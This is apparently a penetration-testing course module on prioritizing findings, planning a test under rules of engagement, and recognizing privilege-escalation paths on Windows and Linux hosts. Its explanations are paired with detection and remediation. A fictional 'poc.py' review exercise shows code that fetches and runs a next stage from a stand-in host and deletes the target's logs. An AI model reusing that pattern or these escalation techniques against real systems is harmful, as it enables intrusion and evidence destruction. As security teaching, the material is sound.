  5. Only now: how severe, and how long will it take?
OrderFindingWhy hereYou will, and you will not
1F4, FS01Reachable; first link to payroll; allowed; nothing else on the route can start without itBrowse read-only and record file names. Do not use any value you find
2F6, PAY-DB01The goal itself, but it depends on F4 and is labeled sensitiveAsk for a named test case and a position in VLAN 10. No payroll rows
3F5, PRINT03A second route, toward DC01; cheap; on the unmonitored VLANOne browser attempt; see whether a domain account is stored. Do not extract it
4F2, HR-APP02In KEV, 0.99 and unsupported, but off the route and verification onlyRun a safe detection script. Do not exploit
5F3, MAIL02, PAYWEBA real weakness near payroll, but abuse needs long capture the ROE does not coverProve SSLv2 and the shared certificate. Do not attempt decryption
6F1, qa-sandbox-0710.0 and in KEV, but no route and no payroll dataReport from the client's data. Spend no test hours

Testing order is not severity order. All six go in the report, and F1 and F2 get a same-day note to the client, because a KEV-listed flaw should not wait until Friday. Put F1 first and you skipped question 1.

Worth holding on to: scores rank flaws for the whole world, and your job is to rank them for one client's goal, from one position, under one set of rules. A low-scored finding on the route beats a high-scored one you cannot reach.

Step 5: Choose the tools and the exploit, and read the code first

Tool selection: pick the least intrusive tool that answers the plan's question.

QuestionChooseRather thanBecause
What can an anonymous user read on FS01?smbclientNetExecOne host needs no tool built for scale
Is MS17-010 missing on HR-APP02?NSE smb-vuln-ms17-010 (vuln, safe)A Metasploit exploit moduleThe label says verification only
Does the default password work on PRINT03?A browser and the vendor manualHydraOne attempt is allowed; a guesser exists to make many
SSLv2 and one key on MAIL02 and PAYWEB?NSE sslv2, ssl-certsslv2-drown (intrusive, vuln)They prove the precondition without probing

Exploit selection comes after Lesson 12's check that a public exploit matches the target. Now ask three more things. Does a safe check prove the point without it? What does it leave behind: files, accounts, a crashed service? And how reliable is it? Metasploit's ranks run from Excellent ("will never crash the service") through Great, Good, Normal and Average to Low and Manual. Its module for CVE-2017-0144 is ranked Average: generally unreliable or difficult, succeeding at least half the time on common platforms. On an unsupported HR server, that settles it.

Customization means changing a public exploit so it does only what you are allowed to do. That can mean pointing it at the approved address, removing a destructive step, or replacing its final action with a harmless proof the client agreed to, such as a marker file. Record every change.

Code analysis comes first: you read every line before anything runs. A study of 47,285 GitHub repositories of proof-of-concept exploits found indicators of malicious intent in 899, or 1.9 percent, such as calls to malicious addresses and encoded malicious code. This fictional file does nothing and names no real flaw. Find the problems before reading on.

# poc.py : fictional, for review practice only
TARGET  = "203.0.113.40"          # hard-coded address
UPDATES = "files.example.net"     # a host nobody on your team controls
BLOB    = "[long encoded string removed]"

def run(target):
    stage = decode(BLOB)          # what does this do? you cannot tell yet
    send(target, stage)
    fetch(UPDATES, "next_stage")  # pulls and runs more code from elsewhere
    delete_logs(target)           # destroys the client's evidence
    restart_service(target)       # an outage, and the ROE forbids it

The hard-coded target could hit someone else's system, which is how a careless run becomes a crime. The blob must be decoded and understood. The remote fetch runs unknown code inside your client's network. The last two steps come out: they harm the client and destroy evidence. Then try your edited copy on an isolated copy of the target, and keep the file and its sha256sum with your evidence.

The blue stop-error screen of Windows Server 2012, saying the PC ran into a problem and needs to restart, with the error CRITICAL_PROCESS_DIED.
What a crash on the target looks like
Microsoft - Public domain - Wikimedia Commons

Step 6: Write it down: attack path, low-level diagram, storyboard

The attack path is the route. Here is Lesson 8's map, now in priority order with a stop condition on every link. Every row is still a question.

OrderLinkTest must showPermission and stop condition
1Office VLAN to the Deploy share on FS01Whether files can be readRead-only allowed; on personal data, stop and note the file name only
2Deploy share to a configuration file naming svc_reportWhether the credential is liveNo use without a named test case in writing
3svc_report, from VLAN 10, to reporting views on PAY-DB01Whether that account can reach the viewsNamed test case; one read-only row count; otherwise stop and report
AlternatePRINT03 default password to a stored domain accountWhether the password works and an account is storedOne attempt; do not extract or use the account

A low-level diagram shows the actual hosts, addresses, ports, VLANs, rules and labels, where a high-level one shows only zones such as "office" and "finance". Draw it from your scans and the client's firewall export.

VLAN 99 office   tester 10.20.99.50
       |
core-fw 10.20.99.1
  99 -> 10   tcp/53,88,389,445        10 -> 30   tcp/1433
  99 -> 20   tcp/25,80,443            99 -> 30   deny
  99 -> 60   deny
       |
VLAN 10 servers                       VLAN 20 services (no monitoring)
  FS01      .25  445                    PRINT03  .9   80,443
  DC01      .5   53,88,389,445 [HIGH]   MAIL02   .12  25
  HR-APP02  .40  445 [SENSITIVE] [EOL]  PAYWEB   .30  443 via WAF

VLAN 30 finance                       VLAN 60 QA
  PAY-DB01  .15  1433 [SENSITIVE] [HIGH]  qa-sandbox-07  .7  8080

This one drawing explains why PAY-DB01 cannot be reached directly, why F1 is out of reach, and why link 3 needs a position in VLAN 10.

The storyboard is the sequence in time. The objectives list the word without defining it, and no standard does. So take this working sense: an ordered plan of what happens when, what evidence you expect, what aborts each step, and who hears about it.

WhenStepEvidenceAbort ifTell
Mon 09:00Confirm start; give SOC the source addressTicket numberNo contact reachedSOC lead
Mon 09:30F4: browse Deploy read-onlyListing with timestampsPersonal data appears; host slowsEngagement lead
Mon 14:00F6: request test case and VLAN 10 position; send notes on F1 and F2Signed replyNone by Tue 12:00: mark unprovenClient contact
Tue 10:00F5: one default-password attemptScreenshot of resultDevice misbehavesFacilities contact
Wed 09:00F2: safe detection script (Thursday afternoon stays free: payroll run)Script outputAny service alertSOC lead, HR owner
A tree diagram with an attacker's goal at the top, 'Virus infects a file', branching down through the conditions and routes that could lead to it.
An attack tree
Adius - CC0 - Wikimedia Commons
A network drawn as zones only: an intranet LAN, a DMZ holding web, mail and DNS servers, two firewalls and a WAN router, with no addresses, ports or VLAN numbers.
A high-level diagram, for contrast
en:User:Pbroks13 - Public domain - Wikimedia Commons

Step 7: Check dependencies, scope limitations and labels

Dependencies are what must be true before a step can run, and what breaks if it goes wrong. Sequence: F6 needs F4. Position: link 3 needs a host in VLAN 10. Permission: a signed test case. People: the SOC lead must be reachable. Tools: a public exploit may need an old interpreter. And look outward: if HR-APP02 restarts, what else stops?

Scope limitations shape the plan as much as flaws do. Lesson 4's boundaries apply to every step: addresses, window, excluded test types, limits on data, and who owns the system. When a top target turns out to belong to someone else, you never test it gently. You stop and get written permission from whoever has authority.

Labeling sensitive systems makes those limits hard to miss when you are tired at 4 p.m. A label says what a system is and what you may do there, such as SENSITIVE (verification only), HIGH VALUE, EOL or FRAGILE. Put labels on the diagram and storyboard, and enforce them in tool configuration. Try this in your lab, where 192.168.56.1 is your own host computer:

echo 192.168.56.1 > do-not-touch.txt
sudo nmap -sn --excludefile do-not-touch.txt 192.168.56.0/24

Your host should vanish from the results.

The second run: one email reverses the order

Tuesday, 08:40. The client's IT manager writes that a hosting company runs FS01 under a separate contract. Your authorization covers systems owned and run by Tallis. The flaw has not changed: same 5.3, no CVE. The plan changes completely.

  • Stop testing FS01 now. Tell the client through the escalation path that you listed and browsed that share on Monday. They need to know, and may have to tell the provider.
  • F4 and F6 become blocked, pending written permission from the party with authority. Record them as limitations, not as "secure".
  • The printer moves to first. The new order is F5, F2, F3, F1, with F4 and F6 returning only if permission arrives.

Other single facts move the plan too, so keep the reasoning and not just the list:

If this one fact changesThe plan changes like this
The firewall export shows qa-sandbox-07 also has an interface in VLAN 30F1 jumps to the top: a KEV-listed flaw on a multihomed host beside payroll. It still needs a named test case
F3's EPSS doubles overnightThe note gets more urgent. Permission does not change, because a score never grants permission

Exam cues: which label, which document, which pairs people confuse

The stem saysIt points toDo not confuse with
"Probability of exploitation in the next 30 days"EPSSCVSS, which rates severity
"Confirmed exploitation in the wild"KEVEPSS, a forecast
"Identifier for one flaw"CVECWE, a class of mistake
"Intrinsic, constant over time and environments"CVSS base metricsThreat or Temporal (change over time); Environmental (your site)
"The vendor no longer issues patches"End-of-life; the fix is replacementUnpatched, where a fix exists
"SSLv2 on one server, same key on another"DROWNPOODLE, which targets SSLv3 with CBC
"Recorded traffic stays safe if the key is stolen"Forward secrecy: ECDHETLS_RSA suites
"Read the exploit before running it"Code analysisCustomization, which changes it
"Route from foothold to the asset"Attack pathStoryboard, a timed sequence
"Hosts, addresses, ports, VLANs, rules"Low-level diagramHigh-level diagram, zones only
"Steps in order, with abort conditions"StoryboardROE, which sets the limits
"Hosted by a third party"Scope limitation: stop, get written permissionTesting gently
"Mark production hosts do not touch"Labeling sensitive systemsLeaving them out of the report

How the plan and its scores are reported

Lesson 5 said modern reports usually score findings with CVSS. Publish the score and vector together, as FIRST requires, with the version. Keep apart the base score, any environmental adjustment, and your overall rating with its reasons. EPSS and KEV appear as dated context, never as the severity. Here is F4 as a finding:

  • Title: Anonymous read access to the Deploy share on FS01 exposes a service account's configuration.
  • Severity: High overall. CVSS 3.1 base 5.3 Medium, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N; with Confidentiality Requirement High the environmental score is 6.1, still Medium. Rated above its score because it is the first link toward payroll data and needs no account. Not Critical, because the credential was not used and the route was not proven under the ROE.
  • Evidence: anonymous listing from 10.20.99.50 on the stated date, with file names and the key name svc_report; value not recorded.
  • Root cause: the share grants read to anonymous users, and deployment files keep credentials on it.
  • Remediation: remove anonymous access, change svc_report's password, move secrets to a vault, and confirm that an anonymous listing now fails.

Lesson 8 rated its NFS export High by judgment, and scoring formalizes that: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N is 7.5, High, and proven write access would make it 9.1, which is why Lesson 8 recorded write as untested. The attack path becomes the report's attack narrative, and the storyboard's times let the client match your actions to its logs (Lesson 28).

Common misconceptions

  • "The highest CVSS goes first." Base scores measure severity in principle. A 10.0 you cannot reach loses to a 5.3 on the route.
  • "An EPSS of 0.10 is low." It is a 10 percent estimate that ranks near the 96th percentile.
  • "No CVE means no problem." Default passwords and open shares usually have no CVE and are often the best targets.
  • "An A from ssl-enum-ciphers means the encryption is fine." The grade ignores protocol version and hash.

What to carry forward

  • CVE names one flaw (CVE, year, four or more digits); CWE names the class of mistake; a misconfiguration usually has a CWE and no CVE.
  • CVSS bands: Low 0.1-3.9, Medium 4.0-6.9, High 7.0-8.9, Critical 9.0-10.0. Version 4.0 has Base, Threat, Environmental and Supplemental groups and labels CVSS-B, BT, BE and BTE; version 3.1 has Base, Temporal and Environmental.
  • AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H is 9.8; the same flaw is CVSS-B 9.3 in version 4.0. Base scores measure severity, not risk.
  • EPSS estimates the probability of observed exploitation in the next 30 days; the percentile is only a rank; version 5 began on 15 June 2026; FIRST sets no bands. KEV records confirmed exploitation and takes precedence.
  • Rank by scope and reachability, route to a high-value asset, evidence of attack, what the ROE allows, and only then severity. Everything still goes in the report.
  • End-of-life means no more fixes (Windows Server 2012's paid updates ended 13 October 2026). Default configurations top the NSA and CISA list of misconfigurations.
  • TLS_RSA suites lack forward secrecy and ECDHE provides it; GCM authenticates as it encrypts; SSL 2.0 through TLS 1.1 must not be negotiated. DROWN needs SSLv2 on any server sharing the key.
  • Choose the least intrusive tool that answers the question; check an exploit's reliability; read and edit its code before it runs.
  • Attack path is the route, low-level diagram the hosts, ports and rules, storyboard the timed sequence with abort conditions. A dependency, scope limitation or label can reverse the plan.

Sources

  1. Forum of Incident Response and Security Teams. (2023-2026). CVSS version 4.0: Specification document (document version 1.2), User guide and FAQ; CVSS version 3.1: Specification document; v4.0 calculator source. first.org/cvss
  2. FIRST EPSS Special Interest Group. (2026). EPSS: How it works; Using EPSS; FAQ; Get the data (model v2026.06.15). Data read 3 November 2026. first.org/epss
  3. National Institute of Standards and Technology. (2026, April 15). NIST updates NVD operations to address record CVE growth; and NVD records for the CVEs named here, read 3 November 2026. nist.gov
  4. Cybersecurity and Infrastructure Security Agency. (2026). Binding Operational Directive 26-04 and its implementation guidance; Known Exploited Vulnerabilities catalog (version 2026.11.03). cisa.gov
  5. National Security Agency and Cybersecurity and Infrastructure Security Agency. (2023, October 5). Top ten cybersecurity misconfigurations (AA23-278A). cisa.gov
  6. MITRE Corporation. (n.d.). About CWE; CWE-732; CWE-1392; 2025 CWE Top 25. Top 25. CVE Program. (n.d.). Overview. cve.org
  7. Sheffer, Y., Saint-Andre, P., and Fossati, T. (2022). Recommendations for secure use of TLS and DTLS (RFC 9325). rfc-editor.org
  8. Aviram, N., et al. (2016). The DROWN attack (technical summary and Q&A). drownattack.com
  9. El Yadmani, S., The, R., and Gadyatskaya, O. (2023). Beyond the surface: Investigating malicious CVE proof of concept exploits on GitHub (arXiv:2210.08374v2). arxiv.org
  10. Lyon, G. (n.d.). Nmap reference guide and NSE documentation for ssl-enum-ciphers, sslv2, sslv2-drown, ssl-cert and smb-vuln-ms17-010. ssl-enum-ciphers
  11. Rapid7. (n.d.). Exploit ranking, in Metasploit documentation. docs.metasploit.com
  12. Microsoft. (2026). Overview of Extended Security Updates for Windows Server 2012 and 2012 R2. learn.microsoft.com
Key terms
Common Vulnerabilities and Exposures
CVE: a catalog giving each publicly disclosed vulnerability one identifier, written CVE, year, and four or more digits. It names a flaw; it does not rate it.
Common Weakness Enumeration
CWE: a community-developed list of the kinds of software and hardware mistake that cause vulnerabilities, such as CWE-1392, Use of Default Credentials.
Common Vulnerability Scoring System
CVSS: FIRST's 0 to 10 severity score with a vector string showing its inputs. Its base score measures severity in principle, not risk at one organization.
Exploit Prediction Scoring System
EPSS: a daily model estimating the probability, from 0 to 1, that exploitation activity for a CVE will be observed in the next 30 days, published with a percentile rank.
Known Exploited Vulnerabilities catalog
KEV: CISA's list of CVEs with reliable evidence of exploitation and clear remediation guidance. It records what has happened, where EPSS forecasts.
High-value asset
A system or data set whose loss would hurt an organization most, such as a payroll database or domain controller, or a device that reaches them.
Forward secrecy
A property of key exchange, provided by ECDHE, under which stealing a server's long-term private key does not decrypt traffic recorded earlier.
DROWN attack
Decrypting RSA with Obsolete and Weakened eNcryption, CVE-2016-0800: probes to an SSLv2 server help decrypt recorded TLS sessions on any server sharing its private key.
Low-level diagram
A network drawing with actual hosts, addresses, ports, VLANs, firewall rules and sensitivity labels, unlike a high-level diagram of zones.
Attack storyboard
A time-ordered test plan listing each step, the evidence expected, the abort condition and who to tell. CompTIA lists the word without defining it.

Module 6: Attacks II: Hosts and Web Applications (Domain 4, objectives 4.4-4.5)

Learn how attacks on hosts and web applications work: privilege escalation, escapes, credential dumping, process injection and log tampering on endpoints; and injection, broken access control, session, file, request and API flaws in web applications, each with what defenders see and the fix that removes the weakness.

Climbing the Ladder: Privilege Escalation, Misconfigured Endpoints, and Escapes

  • Decide from read-only evidence whether an unquoted service path, a UAC setting, a setuid file or a sudo rule is a real path to higher privilege.
  • Explain why shell escapes and kiosk escapes work, and what detects and prevents them.
  • Recognize misconfigured endpoint settings, and choose among Seatbelt, PowerShell or the ISE, and LOLbins to collect the evidence.
  • Report a privilege escalation finding with its severity, evidence, root cause and remediation.

The draft finding that called an unquoted path Critical

At 16:40 on a Thursday, a junior tester at a fictional firm pastes this evidence from a client's workstation into a draft report and rates it Critical, with the note "any user can get SYSTEM".

C:\> sc qc AcmeBackupAgent
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AcmeBackupAgent
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Acme Backup\Agent Service\agent.exe -service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Acme Backup Agent
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

The path has spaces and no quotation marks, and a vulnerability scanner flagged it too. The rating is still wrong, and working out why teaches most of the exam's host-based attacks. Privilege escalation means gaining rights beyond the ones you were given: vertically, from a standard user to an administrator, SYSTEM or root, or horizontally, from one user to another at the same level. It rarely comes from one bad setting. It comes from a chain, so a tester who spots one link and reports the whole chain has made an error. Put every candidate through three questions.

  1. What runs with more privilege than I have?
  2. What does it trust that I can change?
  3. What makes it run again, and can I cause that?

If any answer is "nothing", you have a weakness to note, not a path upward. This lesson takes six plausible wrong answers and traces where each one breaks. Container escape waits for Lesson 19.

Exam objectives: 4.4 (privilege escalation, misconfigured endpoints, user-controlled access bypass, shell escape, kiosk escape, unquoted service path injection; Seatbelt, PowerShell and the PowerShell Integrated Scripting Environment (ISE), living off the land binaries (LOLbins)). Lesson 16 covers the rest of 4.4.

Before you run anything: what read-only means here

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. The only commands this lesson asks you to try are read-only checks on your own Metasploitable VM from Lesson 2. All other evidence below is fictional.

On a client engagement, proof of escalation changes a live system: a hijacked service may fail to start, and a flawed kernel may crash. The rules of engagement (ROE) decide whether you may demonstrate or must stop at evidence, and most findings here can be written with no write at all.

Wrong answer 1: "An unquoted service path gives you SYSTEM"

Start with the flaw itself. A service's path is stored as one string. When that string has spaces and no quotation marks, Windows cannot tell where the file name ends, so it tries each possibility in turn. Microsoft's CreateProcess documentation lists this behavior and warns that a different program could run as a result. For the draft's service, the order is:

Windows triesSomeone would have to write to
C:\Program.exeC:\
C:\Program Files\Acme.exeC:\Program Files
C:\Program Files\Acme Backup\Agent.exeC:\Program Files\Acme Backup
C:\Program Files\Acme Backup\Agent Service\agent.exeNothing: this is the real program

The last line of the evidence answers question 1: SERVICE_START_NAME : LocalSystem, the most powerful local account. Question 2 is where the draft fails. The path matters only if this user can write to one of those folders, so read the permissions. (Sample output, trimmed.)

C:\> icacls C:\
C:\ BUILTIN\Administrators:(OI)(CI)(F)
    NT AUTHORITY\SYSTEM:(OI)(CI)(F)
    BUILTIN\Users:(OI)(CI)(RX)
    NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(M)
    NT AUTHORITY\Authenticated Users:(AD)

C:\> icacls "C:\Program Files"
C:\Program Files NT SERVICE\TrustedInstaller:(F)
                 NT AUTHORITY\SYSTEM:(M)
                 BUILTIN\Administrators:(M)
                 BUILTIN\Users:(RX)

C:\> icacls C:\Apps
C:\Apps BUILTIN\Administrators:(I)(OI)(CI)(F)
        NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
        BUILTIN\Users:(I)(OI)(CI)(RX)
        NT AUTHORITY\Authenticated Users:(I)(M)
        NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

In icacls output, F is full control, M is modify, RX is read and execute, and AD is "append data/add subdirectory". I marks an inherited entry, OI and CI pass an entry down to files and subfolders, and IO means it applies only to what is created inside, not to the folder itself. So an ordinary user can create folders in C:\ but not files, and can only read and run things in C:\Program Files. No candidate is writable, which makes the draft's service a hardening note.

The third listing shows how that flips. A folder made directly under C:\ inherits the root's Modify entry, so by default any signed-in user can add files to C:\Apps. Applications installed outside Program Files are where to look first.

Worked example: four services, one standard user, one real path

This is the shape a performance-based question takes. You hold a standard account on a fictional client's workstation, the ROE allow read-only checks, and you must say which services give you a path upward. List the candidates first. This query only reads, and a tester would run it on an in-scope Windows host.

Get-CimInstance Win32_Service |
  Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } |
  Select-Object Name, StartName, StartMode, PathName
Name (sample)StartNameStartModePathName
AcmeBackupAgentLocalSystemAutoC:\Program Files\Acme Backup\Agent Service\agent.exe -service
FleetSyncLocalSystemAutoC:\Apps\Fleet Sync\sync.exe
LabelPrintNT AUTHORITY\LocalServiceAutoC:\Apps\Label Print\label.exe
DeviceBrokerLocalSystemManualC:\Windows\system32\svchost.exe -k broker -p

With the three icacls listings in front of you, the reasoning runs like this.

ServiceQ1: runs asQ2: writable candidate?Q3: what restarts it?Verdict
AcmeBackupAgentLocalSystemNoneBootNo path for this user. Low: quote the path
FleetSyncLocalSystemYes: C:\Apps\Fleet.exeBoot, and this user can rebootThe real path. High
LabelPrintLocalServiceYes: C:\Apps\Label.exeBootReal but smaller: a low-privilege service account, not SYSTEM. Medium
DeviceBrokerLocalSystemNone: the space comes after the complete file nameNot relevantFalse lead. No finding

Now change one input. Move FleetSync to a member server. Microsoft's defaults give the "Shut down the system" right to Users on client computers but only to Administrators and Backup Operators on member servers, so a standard user there must wait for someone else's reboot. The path is still real, and the report says it depends on the next restart. If you need proof of who may start or stop a service, sc sdshow prints it in a compact format called SDDL.

The technique is ATT&CK T1574.009, and the weakness is CWE-428. Defenders can watch for an executable appearing in a parent folder of an unquoted path. They can then watch for a process starting from that location (Security event 4688 or Sysmon event 1, with Sysmon event 11 for the new file).

The fix is to quote the path in the service's configuration, stored under HKLM\SYSTEM\CurrentControlSet\Services, install under Program Files or tighten the folder's permissions, and confirm with the same two commands.

Scanner wording can mislead: Tenable's Nessus plugin 63155 says a local attacker can gain elevated privileges from such a path and does not mention folder rights. Lesson 12's validation step applies.

So what? An unquoted path is a parsing flaw. It becomes privilege escalation only with a writable candidate folder, a more privileged service account and a restart. Report what the evidence proves.

Wrong answer 2: "The UAC bypass made me an administrator"

The objectives list "user-controlled access bypass" without defining it, and UAC is not in the PDF's acronym list. This course reads the bullet as bypassing User Account Control (UAC), the Windows feature it fits most closely.

When a member of the local Administrators group signs in, Windows builds two access tokens. A standard one runs the desktop and everything started from it. A full one stays unused until the user approves an elevation prompt. A standard user has no second token, so the prompt asks for someone else's credentials. Windows also marks each process with an integrity level, and lower levels cannot modify higher ones. You can read all of this without changing anything.

C:\> whoami /groups      (user dkim, sample output, trimmed)
Group Name                             Type  SID          Attributes
====================================== ===== ============ ========================
BUILTIN\Administrators                 Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users                          Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

"Group used for deny only" means dkim belongs to Administrators but this process cannot use that membership, and the medium label confirms the standard token. Now change one input. A second user, rmoss, shows no Administrators line, with the same medium label. A UAC bypass can only help dkim, because it unlocks a token dkim already owns. For rmoss, question 1 has no answer.

Bypasses exist because, at the default setting, certain Microsoft programs elevate with no prompt. If one of them reads a setting or path from somewhere the user controls, such as the user's own part of the registry, the user can steer what it does: question 2 again. The programs change between Windows releases, and the exam does not ask you to name them. Microsoft's servicing criteria list UAC as a defense-in-depth feature with no intent to service bypasses, so the root cause to report is a daily account in the Administrators group, not a missing patch.

ATT&CK T1548.002 describes what defenders look for: changes to UAC-related registry keys (Sysmon event 13), then elevated processes without the normal parent and child lineage. Security event 4688 records each process's Token Elevation Type (%%1937 elevated, %%1938 limited) and Mandatory Label. The fixes are standard accounts for daily work, Windows LAPS (Local Administrator Password Solution) for local administrators, and a prompt set to appear every time. Administrator protection on Windows 11 goes further, with no auto-elevations and a separate temporary admin token per approved task. It ships off by default, but Microsoft's security baselines turn it on from the October 2026 security update.

Wrong answer 3: "Every setuid file is a finding"

On Linux, Setuid and setgid are permission bits. A setuid program runs with the rights of the file's owner rather than the caller's, and setgid does the same for the file's group, named by its Group Identifier (GID). ls -l shows an s where the execute x would be. The bits exist for a reason: passwd has to update a file only root may write. Linux ignores both bits on scripts, so only compiled programs count, in practice files in the Executable and Linkable Format (ELF). Question 1 therefore lives in the owner column.

Try this in your lab, at the Metasploitable console, logged in as msfadmin:

  • id prints your user ID, GID and groups.
  • sudo -l prints what sudo lets you run. Expect broad rights, because msfadmin is that VM's administrator account, which is why Lesson 7 could add a firewall rule.
  • find / -xdev -type f -perm -4000 -ls 2>/dev/null lists setuid files. Sort the list by owner and stop there. You are not asked to run any of them.

Here is the same kind of list from a fictional server:

$ id
uid=1004(rmoss) gid=1004(rmoss) groups=1004(rmoss),33(www-data)
$ find / -xdev -type f -perm -4000 -ls 2>/dev/null
  786   60 -rwsr-xr-x 1 root   root    59976 Feb  6  2024 /usr/bin/passwd
  791  232 -rwsr-xr-x 1 root   root   232416 Apr  3  2024 /usr/bin/sudo
  802   44 -rwsr-xr-x 1 root   root    44760 Feb  6  2024 /usr/bin/chsh
 9134   20 -rwsr-xr-x 1 root   root    16424 Sep 14 02:10 /opt/reports/rpt_gen
 9140   20 -rwsr-xr-x 1 appsvc appsvc  16424 Sep 14 02:11 /opt/reports/rpt_view

The wrong answer is five findings. Work down the list instead. passwd, sudo and chsh ship with the operating system and need the bit. rpt_gen is root-owned and custom: dpkg -S finds no package that owns it, so review what it trusts, such as whether it calls other programs by bare name. rpt_view looks identical, but its owner is appsvc, so even if flawed it gives only appsvc's rights: horizontal, not vertical.

"Expected" does not mean safe, though. In January 2022, Qualys disclosed PwnKit (CVE-2021-4034), a memory corruption flaw in pkexec, a setuid-root program installed by default on every major Linux distribution, in polkit versions from 2009 onward. So compare versions with vendor advisories too. Treat kernel flaws (ATT&CK T1068) the same way: compare uname -r or the hotfix list with advisories and report the missing patch. Running a kernel exploit can crash the host, so it needs explicit approval in the ROE.

Two relatives need no setuid file. Docker's documentation warns that the docker group grants root-level privileges, so 999(docker) in id output deserves a note. File capabilities, listed by getcap -r /, hand a program part of root's power.

ATT&CK T1548.001 describes detection: chmod setting these bits, then processes whose effective user differs from the real one, especially from user-writable paths. File integrity monitoring catches new setuid files. The fixes are chmod u-s where the bit is not needed, the nosuid mount option on user-writable file systems, and patching.

Wrong answer 4: "The sudo rule allows only one program, so it is safe"

Sudo runs a permitted command as another user, usually root. Read this rule set as its author meant it: rmoss may read some logs and restart one service.

$ sudo -l
Matching Defaults entries for rmoss on app01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rmoss may run the following commands on app01:
    (root) NOPASSWD: /usr/bin/less /var/log/app/*
    (root) NOPASSWD: /usr/bin/systemctl restart app

But sudo's control ends once the program starts. Its manual says that program "is free to do whatever it pleases", including run other programs. It names shells, editors, pagers, mail and terminal programs as common sources of a Shell escape, which is a program feature that starts another command. Whatever a pager running as root starts also runs as root, outside the rule.

So question 2's answer is the allowed program's own features, and no bug is needed.

GTFOBins, a public catalog of such behavior in Unix programs, says the programs it lists are "not vulnerable per se". You need not run anything: the rule plus the catalog entry is your evidence. LOLBAS is the Windows counterpart.

Now change one input. (root) NOPASSWD: NOEXEC: /usr/bin/less /var/log/app/* asks sudo, where supported, to stop a dynamically linked program from running further commands. sudoedit /etc/app/app.conf edits a temporary copy as the user. A read-only log group needs no sudo at all. Each does the job without the escape, and those are your recommendations.

A Restricted shell fails for the same reason, and you will recognize one quickly:

rmoss@app01:~$ cd /tmp
-rbash: cd: restricted
rmoss@app01:~$ echo $PATH
/home/rmoss/bin
rmoss@app01:~$ ls /home/rmoss/bin
less  ping  vi

The Bash manual says rbash blocks cd, changing PATH, command names containing slashes and output redirection, warns that commands allowing shell escapes are "particularly vulnerable", and points to jails, zones and containers as stronger choices. The limits belong to that shell, not the account, so the evidence is the program list, and the fix is a list with no such programs, or real isolation.

Defenders get less than you might expect. Sudo logs the command it started:

Nov  3 14:02:11 app01 sudo: rmoss : TTY=pts/0 ; PWD=/home/rmoss ; USER=root ; COMMAND=/usr/bin/less /var/log/app/app.log

Whatever the pager then starts gets no line of its own unless the log_subcmds option, off by default, is set, or kernel auditing records a shell whose parent is less. ATT&CK files sudoers abuse under T1548.003.

So what? Limiting which program runs does not limit what that program can do. Judge a sudo rule or a restricted shell by the features of every allowed program.

Wrong answer 5: "A kiosk runs one app, so it can only do one thing"

An Interactive kiosk is a whole computer showing one application. Microsoft's Assigned Access makes that explicit. Its kiosk experience runs a single app full screen above the lock screen and restarts it if it closes. Its restricted user experience allows a short list of apps through policy settings and AppLocker rules.

The operating system is still underneath, so any feature that reaches past the app is a way out, which is a kiosk escape.

Microsoft's documentation says Alt+F4, Alt+Tab, Alt+Shift+Tab and Ctrl+Alt+Delete are not blocked under a restricted user experience, and that Assigned Access does not change accessibility settings, so those shortcuts need Keyboard Filter.

Here is a test from a fictional lobby check-in station, with every action listed as a test case in the ROE.

Surface triedObservedWhat it meansFix
Print button"Save as PDF" opens a window with a folder treeThe file system is browsable from inside the appFixed printer; remove file dialogs
Shift pressed five timesSticky Keys prompt with a link to settingsAn accessibility shortcut reaches SettingsKeyboard Filter; turn off the shortcut
USB keyboard in a spare portAccepted, and shortcut keys work"Touch only" was an assumptionCover ports; block new devices
RestartPower-on self-test (POST) screen offers firmware setup, with no passwordFirmware and boot order are reachableFirmware password, Secure Boot, BitLocker

Two acronyms from the exam's list belong here. POST means power-on self-test, not the web request method. HID expands there as host-based intrusion detection, while Microsoft's device documentation uses HID for human interface device, the class that includes USB keyboards.

Now debug the severity. An escape moves you from one app to a general-purpose desktop under the same account, which is not yet vertical. Question 1 decides the rest. Run one: a local, non-admin kiosk account on an isolated network gives a Medium finding. Run two: the same escape, with automatic sign-in as a domain account in the local Administrators group on the clinical network, is High or Critical. The dialogs did not change. The account did.

Defenders should treat any process under the kiosk account other than the kiosk app as an alert: explorer.exe, cmd.exe or powershell.exe in event 4688. AppLocker logs blocks as event 8004 (EXE or DLL) and 8007 (script or MSI). ATT&CK version 20 has no technique named for kiosks; Hardware Additions (T1200) is the nearest fit for the keyboard. Microsoft does not service AppLocker bypasses by default but does service Windows Defender Application Control, now App Control for Business, so for a public kiosk recommend it, with a non-admin account and network isolation.

Wrong answer 6: "The scan was clean, so the endpoint is fine"

"Misconfigured endpoints" is another bullet the PDF names but does not define. Read a misconfigured endpoint as a workstation, laptop or server whose local settings grant more than anyone intended. Scanners mostly compare versions and known checks, and see far less without credentials, as Lesson 10 explains, so a clean scan says little about whether a particular folder is writable by a particular user. Read these settings yourself. Each one answers question 2.

MisconfigurationRead-only evidenceWhy it is a pathFix
Service program or folder writable by users (T1574.010)icacls on the programThe service runs whatever is at that pathRemove write rights
Service registry key writable (T1574.011)Get-Acl on its keyWhoever edits the key chooses what runsRemove write rights
AlwaysInstallElevated set to 1reg query on the Installer policy key in HKLM and HKCUInstallers run elevated; Microsoft calls it equivalent to full admin rightsRemove the policy
